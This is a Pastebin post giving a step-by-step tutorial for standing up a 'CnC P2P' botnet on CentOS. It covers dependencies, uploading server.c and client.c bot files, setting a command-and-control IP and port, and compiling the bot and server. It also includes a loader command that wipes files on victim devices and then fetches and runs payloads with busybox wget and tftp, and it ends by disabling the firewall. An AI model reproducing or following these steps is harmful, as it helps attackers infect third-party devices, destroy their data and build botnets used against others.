Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # ___ __________ ____ _______ _____ _______________.___. ___
- # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
- # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
- # | | \ | / | \/ | \ | \\____ |
- # |______ / |___\____|__ /\____|__ /____|_ // ______|
- # \/ \/ \/ \/ \/
- ***CnC P2P TUTORIAL***
- *** RUN "yum update -y" BEFORE YOU DO ANY OF THIS ***
- **THIS TUTORIAL WAS WRITTEN FOR CENTOS***
- #########################################
- #############DEPENDENCIES################
- #########################################
- **YOU MUST RUN THESE OR IT WILL NOT WORK**
- **RUN THEM IN THIS ORDER**
- yum install screen -y
- yum install httpd -y
- yum install tftp -y
- yum install nc -y
- yum install gcc -y
- yum install nano -y
- yum install wget -y
- yum install busybox -y
- #########################################
- ########## SETTING UP THE NET ###########
- #########################################
- **START BY MAKING A P2P DIRECTORY**
- **DO THIS RUNNING THIS COMMANDS**
- mkdir p2p
- **NOW UPLOAD THIS INTO P2P**
- >>server.c
- **UPLOAD THESE FILES TO /var/www/html
- >>client.c //WELL WATEVER YOUR BOTNAME IS
- >>NSA-edit.sh
- >>tftp.sh
- >>tftp2.sh
- **CONFIG THE CLIENT FILE**
- **OPEN UP THE CLIENT.C FILE**
- LOOK FOR THIS
- >>
- unsigned char *commServer[] =
- {
- ""
- };
- <<
- **SET SERVER IP AND PORT**
- EX:
- >>
- unsigned char *commServer[] =
- {
- "5.154.190.123:666"
- };
- <<
- **TIME TO CONFIG THE WGET LINE
- **THIS WILL BE REPLACED WITH YOUR WGET/TFTP BINARIES
- START BY REPLACING THE IP
- "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://0.0.0.0/gtop.sh;sh gtop.sh;busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh;exit\r\n"
- ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
- THE TFTP BINARYS IM USING IN THIS TUTORIAL ARE TFTP, AND TFTP2
- THE NAME OF COMPILED BOT FILES, ARE GTOP.SH
- IF YOUR NOT SURE WHAT THE NAME OF YOUR COMPILED BOTFILES, ARE I WOULD CHECK IN THE NSA.sh
- ***NOW TIME TO COMILE THE BOT FILE**
- PRETTY MUCH SELF EXPLANITORY
- JUST RUN sh NSA-edit.sh client.c //or whatever your client.c name is
- **CONFIG YOUR SERVER FILE**
- CHANGE THE LOGIN DEFINES
- UNLESS ITS MY SERVER.C IF THATS THE CASE JUST CHANGE THE LOGINS IN LOGIN.TXT
- CHANGE THE MY_MGM_PORT DEFINE
- IF THIS ISNT HERE, ITS PROBABLY DEFINED MANUALLY, OR WITHIN THE SCREEN
- IF IT DOESNT SHOW THE PORT
- THEN CHECK IN THE MAIN()
- LOOK FOR THIS
- >>
- fprintf (stderr, "%s <bot-port> <threads> <cnc-port>\n", argv[0]);
- <<
- IF IT SAYS CNC-PORT THEN ITS DEFINED IN THE SCREEN
- NOW, IF IT DOESNT HAVE MY_MGM_PORT IN DEFINES,
- OR IT DOESNT HAVE CNC-PORT IN SCREEN
- THEN LOOK FOR THIS LINE
- >>
- serv_addr.sin_port = htons(port);
- <<
- AND REPLACE THE PORT WITH WHAT YOU WANT TO SCREEN
- THE COMPILE IT USING:
- gcc server.c -o server -pthread
- THEN SCREEN IT BASED OF OF THE USAGE:
- ITS USUALLY
- screen ./server bot-port threads
- or
- screen ./server bot-port threads cnc-port
- THATS BASICALLY IT, AFTER ITS SCREENNED
- FLUSH IPABLES AND HTTPD USING:
- service iptables stop
- service httpd restart
Add Comment
Please, Sign In to add comment